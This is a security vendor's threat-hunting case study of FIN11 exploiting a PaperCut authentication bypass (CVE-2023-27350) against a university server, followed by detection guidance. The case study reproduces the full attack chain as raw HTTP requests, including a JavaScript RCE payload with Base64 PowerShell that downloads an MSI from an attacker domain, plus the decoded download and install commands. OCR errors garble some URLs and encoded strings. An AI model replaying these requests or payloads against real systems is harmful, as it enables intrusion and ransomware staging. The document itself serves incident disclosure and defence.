TRINITY CYBER

THREAT HUNTING CASE STUDY

Next Step Ransomware:

PREVENTING ACTIVE PAPERCUT EXPLOITATION

EXECUTIVE SUMMARY

Trinity Cyber recently discovered anomalies in customer traffic related to a PaperCut server, starting with the download of a commonly abused Remote Monitoring and Management (RMM) software called Atera. Pivoting from this, our team found in-the-wild exploitation tied to the APT group FIN11 (TA505), who have been observed using Royal and Cl0p ransomware families to extort victims[1][2].

Our team worked quickly with the customer to prevent a ransomware attack and built automated detections and mitigations into our core product, protecting all of our customers against this threat. Our actions prevented FIN11 actors from carrying out a ransomware attack against a higher education target before any vulnerability details or reports of in-the-wild exploitation became public[3].

Background

RMM software has risen in popularity among ransomware campaigns, including Royal, ClOp and others[5] and is typically deployed after initial access is gained within a network or against a vulnerable web application. Actors deploy in stages, and often sell RMM access to other nefarious ransomware gangs for later use.

Our threat hunters saw that despite our customer having applied an earlier patch, actors were able to exploit an internet facing PaperCut server, leading to the execution of custom JavaScript (JS) code that downloaded the Atera agent from a typosquatted domain modified to appear related to Microsoft Windows updates:

```
upd488/.]windowservicecemter[.]com
```

Additional pivoting reveals that this domain also hosts other RMM agents, copies of Cobalt Strike, and a malware family called TrueBot which lines up with previous FIN11 activity[6]:

URLs (16)

Scanned	Detections	Status	URL
2023-04-21	14 / 89	200	http://upd488.windawservicecemler.com/download/AppPrint.msi
2023-04-20	11 / 89	200	http://upd488.windowservicecemler.com/status
2023-04-20	11 / 89	200	http://upd488.windawservicecemler.com/download
2023-04-20	14 / 89	200	http://upd488.windowservicecemler.com/down1oad/ld.txt
2023-04-20	11 / 89	200	http:l/upd488.windawservicecemler.comldownload/
2023-04-20	13 / 89	200	http:f/upd488.windowservicecemler.com/downloa d/a3.rnsi
2023-04-20	13 / 89	200	http:l/upd488.windowservicecemler.comldownload/setup.msi
2023-04-20	13 / 89	200	http:f/upd488.windowservicecemler.com/download/a2.msi
2023-04-19	11 / 89	200	http:l/upd488.windowservicecemler.comldownload/AppPrint.msi'
2023-04-19	12 / 89	200	httwp:f/upd488.windowservicecemler.com/download/update.dD
2023-04-19	10 / 89	200	https;ifupd488.windowservicecemter.cornldownload/updale.dll
2023-04-21	12 / 89	200	http:lfupd488.windowservicecemler.com/
2023-04-19	9 / 89	200	https://upd488.windowservicecemter.cornldownload/a3.msi
2023-04-16	3 / 89	404	https1/upd488.windowservicecemter.com/
2023-04-16	2 / 89	404	http:l/upd488.windowservicecemler.comldownload/ld.txt/
2023-04-13	0 / 89	404	http://upd488.windowservicecemler.contldownload/ld.tx

Trinity Cyber protected the customer by alerting them to the remote access, guiding them to isolate/re-image/patch the server, and ultimately provided real time threat prevention against this unpublished vulnerability. The techniques described in this report are consistent with the Royal Ransomware threat actors[7].

Attack Stages

Attackers took the following steps to achieve Remote Code Execution (RCE) on the PaperCut server:

Stage 1

Remote Authentication Bypass

Attackers navigate to a URI, triggering an admin token to be returned in the "Set-Cookie" header.

Stage 2

Enable Print Scripting

Print scripting enabled with two separate HTTP requests

Stage 3

Disable Script Sandboxing

Sandboxing disabled with two separate HTTP requests

Stage 4

System Recon

Enumerate printer/ system info and ensure changes were successfull

Stage 5

Remote Code Execution

Upload JavaScript code to download an Atera RMM agent via MSI file

Remote Authentication Bypass

Attackers navigated to a URI ending in “SetupCompleted”, triggering the Authentication Bypass (CVE-2023-27350) via “JESSIONID” cookie that contains an administrative token. This flaw was triggered simply by visiting the page and the administrative token was used for the rest of compromise.

```
GET /app?service=page/SetupCompleted HTTP/1.1
Host: [redacted] 9191
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36

HTTP/1.1 200 0K
Date: Fri, 14 Apr 2023 02:41:53 GMT
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Set-Cookie: JSESSIONID=node0 [redacted] .node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding, User-Agent
Transfer-Encoding: chunked
```

FIGURE 1: AUTHENTICATION BYPASS RETURNING ADMIN CREDENTIALS

Enable Print Scripting

Attackers used the admin token from the previous stage to log into a configuration page on the PaperCut server to enable scripting, an advanced feature that allows custom JS to be run on the fly. Because PaperCut uses dynamic form fields, attackers sent a series of two requests to enable this feature.

```
POST /app HTTP/1.1
Host: [redacted] 9191
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; X64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Origin: http://[redacted]:9191
Cookie: JSESSIONID=node0.[redacted].node0
Content-Length: 156
Content-Type: application/x-www-form-urlencoded

service=direct/1/ConfigEditor/quickFindForm&sp=S0&Form0=$TextField,doQuickFind, clear&$TextField=print-and-device.script.
enabled&doQuickFind=Go
```

FIGURE 2: LOCATING THE FORM FIELD THAT CORRESPONDS TO PRINT SCRIPTING

```
POST /app HTTP/1.1
Host:[redacted] 9191
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Origin: http://[redacted]:9191
Cookie: JSESSIONID=node0[redacted].node0
Content-Length: 136
Content-Type: application/x-www-form-urlencoded
service=direct/1/ConfigEditor/$Form&sp=S1&Form1=$TextField$0,$Submit,$Submit$0&$TextField$0=Y&$Submit=Update
```

FIGURE 3: UPDATING THE FIELD TO “Y” AND SUBMITTING THE CHANGE

Disable Print Script Sandboxing

By default, PaperCut has an important security feature known as script sandboxing which keeps scripts from interacting with the underlying OS. Similar to the previous stage, two requests were used to disable this setting.

```
POST /app HTTP/1.1
Host: [redacted] 9191
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Origin: http://[redacted]:9191
Cookie: JSESSIONIO=node0[redacted].node0
Content-Length: 147
Content-Type: application/x-www-form-urlencoded

service=direct/1/ConfigEditor/quickFindForm&sp=S0&Form0=$TextField,doQuickfind,clear&$TextField=print.script.sandboxed&doQuickF
ind=Go
```

FIGURE 4: LOCATING THE FORM FIELD THAT CORRESPONDS TO SCRIPT SANDBOXING

```
POST /app HTTP/1.1
Host: [redacted]9191
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Origin: http://[redacted]9191
Cookie: JSESSIONID=node0[redacted].node0
Content-Length: 136
Content-Type: application/x-www-form-urlencoded
service=direct/1/ConfigEditor/$Form&sp=S1&Form1=$TextField$0,$Submit,$Submit$0&$TextField$0=Y&$Submit=Update
```

FIGURE 5: UPDATING THE FIELD TO “N” AND SUBMITTING THE CHANGE

System Reconnaissance

Attackers enumerated default printers to gather more information and ensure the previous two changes had completed successfully. This also returns sensitive information about how the PaperCut server is configured.

```
GET /app?service=direct/1/PrinterList/selectPrinter&sp=l1001 HTTP/1.1
Host: [redacted]:9191
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Origin: http://[redacted]9191
Cookie: JSESSIONID node0 [redacted].node0
GET /app?service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4 HTTP/1.1
Host: [redacted]:9191
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko)
Chrome/111.0.0.0 Safari/537.36
Origin: http://[redacted]:9191
Cookie: JSESSIONID=node0[redacted].node0
```

FIGURE 6: RECONNAISSANCE ACTIVITIES

Remote Code Execution

After enabling print scripting and disabling script sandboxing, attackers uploaded custom JS code that was designed to download and execute an MSI file containing the Atera RMM agent from attacker-controlled infrastructure. Payload analysis can be found in the following section.

```
POST /app HTTP/1.1
Host:[redacted]:9191
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, like Gecko) Chrone/111.0.0.0 Safari/537.36
Origin: http://[redacted]:9191
Cookie: JSESSIONID=node0[redacted].node0
Content-Length: 1232
Content-Type: application/x-www-forn-urlencoded

service=direct/1/PrinterDetails/$PrinterDetailsScript.$Form&sp=S0$Form0=printerId,enablePrintScript,scriptBody,$Submit,
$Submit$0,$Submit$1&printerId=l1001&enablePrintScript=on&scriptBody=function print(data){ data();}
var sp = java.io.File.separatorChar;
var pb;
if (sp == 92)(
        pb = new java. lang.ProcessBuilder ([“cmd”, “/c”, new
java.lang.String(java.util.Base64.getDecoder()
decode(cG932XJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gSW52b2tLVdlYlJlcXVlc30gJ2h0dHA6Ly91cGQ0ODgud2luZG93c2V
ydmljZWNlbXRLci5jb20vZG93bmxvYWQvc2V0dXAubXNpJyAtT3V0RmlsZSAnc2V0dXAubXNpJw==”))]);
} else {
        pb = new java.lang.ProcessBuilder([“/bin/sh”, “-c”, new
java.lang.String(java.util.Base64.getDecoder().decode(“cG93ZXJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gSW52b2tlLVdlYlJl
cXVlc3QgJ2h0dHA6Ly91cGQ0ODgud2luZG93c2VydmljZWNlbXRlci5jb20vZG93bmxvYWQvc2V0dXAubXNpJyAtT3V0RmlsZSAnc2V0dXAubXNpJw==”))]);
}
process = pb.start();
var ret = new java.util.Scanner(process.getInputStream()).useDelimiter(‘\\A’).next();
print(ret);&$Submit$1=Apply
```

FIGURE 7: JS WITH BASE64 ENCODED CONTENT TO BE UPLOADED TO THE SERVER

Payload Analysis

After decoding the payload in RCE stage of the attack, we observe the use of Java and JS to target both Microsoft Windows and Linux operating systems via the use of the “java.lang. ProcessBuilder”. As seen below, this code gives flexibility to start processes on Windows using “cmd.exe” and on Linux using “/bin/sh” after decoding Base64 arguments:

```
var sp = java.io.File.separatorChar;
Var pb;
if (sp == 92){
        pb = new java.lang.ProcessBuilder([“cmd”, “/c”, new
java.lang.String(java.util.Base64.getDecoder().
decode(“cG932XJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gSW52b2tlLVdlVlJlcXV1c3QgJ2h0dHA6Ly91cGQ0ODgud2luZG93c2VydmljZWNlbXRl
ci5Jb20vZG93bmxvVWQvc2V0dXAubXNpJyAtT3V0RmlsZSAnc2V0dXAubXNpJw==”))]);
} else {
        pb = new java.lang-ProcessBuilder([“/bin/sh”, “-c”, new
java.lang.String(java.util.Base64.getDecoder().
decode(“cG932XJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gSW52b2tlLVdlYlJlcXV1c3QgJ2h0dHA6Ly91cGQ0ODgud2luZG93c2VydmljZWNlbXR
lci5jb20vZG93bmxvVWQvc2V0dXAubXNpJyAtT3V0RmlsZSAnc2V0dXAubXNpJW==”))]);
}
process = pb.start();
```

FIGURE 8: BASE64 ENCODED POWERSHELL COMMANDS TRIGGERING A REMOTE FILE DOWNLOAD

Both Base64 commands decode to the following, which triggers PowerShell to download an MSI f ile. In the case of this attack, the MSI file is the Atera RMM agent – but attackers can change this easily:

```
powershell.exe -nop -w hidden Invoke-WebRequest ‘http://upd488.windowservicecenter.com/download/stup.msi’-OutFile ‘setup.msi’
```

FIGURE 9: DECODED POWERSHELL COMMAND

Subsequent POST requests using the same RCE technique contain JS payloads that install the Atera RMM agent. Notice the custom arguments required to invoke the installation – an email address which is controlled by attackers:

```
msiexec /i setup.msi /qn IntegratorLogin=prepalkeinuc@u@gmx.com CompanyId=1
```

FIGURE 10: COMMAND TO INSTALL ATERA MSI FILE

Because Atera is a for-profit vendor, we suspect that FIN11 attackers have either obtained a stolen copy of the RMM software or they were granted a trial license for this campaign.

Finally, a third POST request was sent containing a common system reconnaissance tactic

```
var pb;
if (sp == 92){
        pb = new java.lang.ProcessBuilder([”cmd, “/c”, new java.lang-String(java.util.Base64.getDeCoder().
deCode(“d2hvYW1p”))]):
} else {
        pb= new java.lang.ProcessBuilder([“/bin/sh”, “-c”, new java.lang.String(java.util.Base64-getDecoder().
decode(“d2hvYW1p”))])
```

FIGURE 11: COMMAND TO RUN “WHOAMI”

Detection Guidance

This exploit is being used in-the-wild[7], so we will share some detection guidance for the protection of the community, focused on the first stage authentication bypass seen in this attack. To protect customer privacy, we’ve redacted certain parts of the traffic:

```
GET /app?service=page/SetupCompleted HTTP/1.1
Host: [redacted]:9191
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1/1.0.0.0 Safari/537.36

HTTP /1.1 200 0K
Date: Fri, 14 Apr 2023 02:41:53 GMT
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Set-Cookie: JSESSIONID=node0[redacted].node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding, User-Agent
Transfer-Encoding: chunked
```

Defenders must look for a combination of an HTTP Request and Response (full session) together to verify auth bypass has happened. The following summarizes how to find the auth bypass:

1. Look for an HTTP Request (GET or POST) to a URI path ending in “SetupCompleted”
2. Look for an HTTP Response with the value “Set-Cookie: JSESSIONID=” and a valid token value.

Trinity Cyber's technology matches request and response before acting against this threat, and automatically removes any valid authentication tokens before attackers can re-use them. Trinity Cyber prevents the Authentication Bypass vulnerability noted in ZDI-CAN-18987 (CVE-2023-27350) as well as any malicious configuration or RCE attempts against PaperCut servers[8].

Actions & Outcome

When attackers get ahold of undisclosed, internet facing vulnerabilities, they quickly use them to gain initial access to sensitive applications and devices. In many cases, they deploy ransomware in coordination with other actor groups – which can have serious consequences[9].

Trinity Cyber's unique technology enables our team to deliver an entire suite of advanced cybersecurity services to include emerging threat analysis and content-based threat hunting as described in this case study.

The discoveries made by our threat hunting team prevented a customer's internet-facing PaperCut server from being attacked by ransomware. Our team's quick action resulted in the following outcomes for the customer:

- PaperCut server taken down, re-imaged, and patched quickly
- No further payloads were deployed beyond RMM agent
- Student access to remote printing had minimal impact

In addition, all of our customers now benefit from the TTPs observed in these attacks:

- PaperCut servers will no longer be exploited regardless of stage
- New payloads are captured post-prevention, letting us see how attackers evolve
- Customers can implement PaperCut patches while we prevent attacks

References

- https://www.secjuice.com/fin11-ta505-ransomware-gang/
- https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive
- https://www.securityweek.com/cybercriminals-publish-data-allegedly-stolen-shell-multiple-universities/
- https://www.zerodayinitiative.com/advisories/ZDI-23-233/
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a
- https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/
- https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive
- https://www.papercut.com/kb/Main/PO-1216-and-PO-1219
- https://www.abc.net.au/news/2022-12-22/qld-qut-cyber-attack-printers-royal/101802692

About Trinity Cyber

Trinity Cyber, Inc. is a US based corporation that invents and operates technology to solve the most difficult cyber security challenges. Our products and services range across several multibillion-dollar segments. We are solving the four biggest challenges for customers today with better security, virtual vulnerability mitigation, reduced alert fatigue and fewer false positives.

Contact Us

Trinity Cyber protection is delivered in-line, in real-time, with no latency or impact on the user experience. Customers can view notifications of our detections and mitigation actions taken via their customer portal or ingest them into their SIEM. For more information, please feel free to reach out to our sales or customer success teams at sales@trinitycyber.com

TRINITY CYBER™

info@trinitycyber.com
(844) 853-5933